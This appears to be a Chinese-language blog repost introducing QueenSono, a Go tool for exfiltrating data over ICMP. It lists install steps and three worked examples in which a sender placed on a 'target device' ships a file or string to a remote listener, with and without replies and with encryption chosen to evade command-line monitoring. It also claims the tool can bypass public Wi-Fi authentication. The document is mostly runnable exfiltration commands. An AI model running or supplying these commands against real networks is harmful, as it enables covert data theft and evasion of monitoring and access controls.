如何使用QueenSono從ICMP提取數(shù)據(jù)
關(guān)于QueenSono
QueenSono是一款針對ICMP協(xié)議的數(shù)據(jù)提取工具,該工具基于Golang開發(fā),并且只依賴于ICMP協(xié)議不受監(jiān)控這一事實實現(xiàn)其功能。除此之外,該工具也可以用于基本的ICMP檢查,或繞過某些身份驗證機制,比如說許多公共Wi-Fi在連接到Wi-Fi(如機場Wi-Fi)后用于對用戶進行身份驗證。
工具安裝
從源碼安裝:
廣大研究人員可以直接使用下列命令將該項目源碼克隆至本地,并安裝好該工具所需的依賴組件:
- git clone https://github.com/ariary/QueenSono.git
- make before.build
下列命令可以構(gòu)建ICMP包發(fā)送器-qssender:
- build.queensono-sender
下列命令可以構(gòu)建ICMP包接收器-qsreceiver:
- build.queensono-receiver
工具使用
ICMP包發(fā)送器-qssender將負責把ICMP數(shù)據(jù)包發(fā)送至監(jiān)聽器,因此我們需要將qssender源碼傳輸?shù)侥繕嗽O(shè)備上。
ICMP包接收器-qsreceiver就是我們本地設(shè)備上的數(shù)據(jù)包監(jiān)聽器了。
所有的命令和工具參數(shù)都可以使用“--help”來查看。
(1) 工具使用樣例1:發(fā)送包攜帶“ACK”
在這個例子中,我們將發(fā)送一個大型文件,并查看接收到數(shù)據(jù)包之后的回復(fù)信息:
在本地設(shè)備上,運行下列命令:
- $ qsreceiver receive -l 0.0.0.0 -p -f received_bible.txt
參數(shù)解釋:
- -l 0.0.0.0:監(jiān)聽所有接口的ICMP數(shù)據(jù)包
- -f received_bible.txt:將接收到的數(shù)據(jù)存儲至文件
- -p:顯示接收數(shù)據(jù)的進度條
在目標設(shè)備上,運行下列命令:
- $ wget https://raw.githubusercontent.com/mxw/grmr/master/src/finaltests/bible.txt #download a huge file (for the example)
- $ qssender send file -d 2 -l 127.0.0.1 -r 10.0.0.92 -s 50000 bible.txt
參數(shù)解釋:
- send file:發(fā)送文件
- -d 2:每兩秒發(fā)送一個數(shù)據(jù)包
- -l 127.0.0.1:每次接收回復(fù)信息的監(jiān)聽地址
- -r 10.0.0.92:運行了qsreceiver 監(jiān)聽器的遠程設(shè)備地址
- -s 50000:每個數(shù)據(jù)包需要發(fā)送的數(shù)據(jù)量大小
(2) 工具使用樣例2:發(fā)送包不攜帶“ACK”
在這個例子中,我們希望在不等待回復(fù)信息的情況下發(fā)送數(shù)據(jù):
在本地設(shè)備上,運行下列命令:
- $ qsreceiver receive truncated 1 -l 0.0.0.0
參數(shù)解釋:
- receive truncated 1:如果沒有收到所有數(shù)據(jù)包,則不會無限期等待
在目標設(shè)備上,運行下列命令:
- $ qssender send "thisisatest i want to send a string w/o waiting for the echo reply" -d 1 -l 127.0.0.1 -r 10.0.0.190 -s 1 -N
參數(shù)解釋:
- -N:無回復(fù)選項
(3) 工具使用樣例3:發(fā)送加密數(shù)據(jù)
在這個例子中,我們將發(fā)送加密消息。由于命令行可能會被監(jiān)控,因此我們將使用非對稱加密(防止密鑰泄露):
在本地設(shè)備上,運行下列命令:
- $ qsreceiver receive -l 0.0.0.0 --encrypt
- <OUTPUT PUBLIC KEY>
參數(shù)解釋:
- --encrypt:使用加密交換,它將生成公鑰/私鑰。公鑰將用于qssender加密數(shù)據(jù),私鑰將用于接收器解密數(shù)據(jù)
在目標設(shè)備上,運行下列命令:
- $ export MSG="<your message>"
- $ export KEY="<public_key_from_qsreceiver_output>"
- $ qssender send $MSG -d 1 -l 127.0.0.1 -r 10.0.0.190 -s 5 --key $KEY
參數(shù)解釋:
- --key:提供數(shù)據(jù)加密的密鑰
項目地址
QueenSono:【GitHub傳送門】